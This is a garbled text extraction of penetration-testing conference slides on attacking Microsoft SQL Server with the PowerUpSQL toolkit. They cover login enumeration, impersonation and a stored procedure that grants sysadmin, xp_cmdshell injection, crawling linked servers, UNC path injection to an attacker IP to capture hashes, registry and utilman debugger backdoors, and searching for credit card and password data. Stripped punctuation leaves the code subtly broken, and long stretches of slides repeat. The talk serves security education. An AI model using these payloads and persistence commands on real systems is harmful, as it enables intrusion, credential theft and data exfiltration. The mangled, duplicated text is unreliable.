SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 28: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

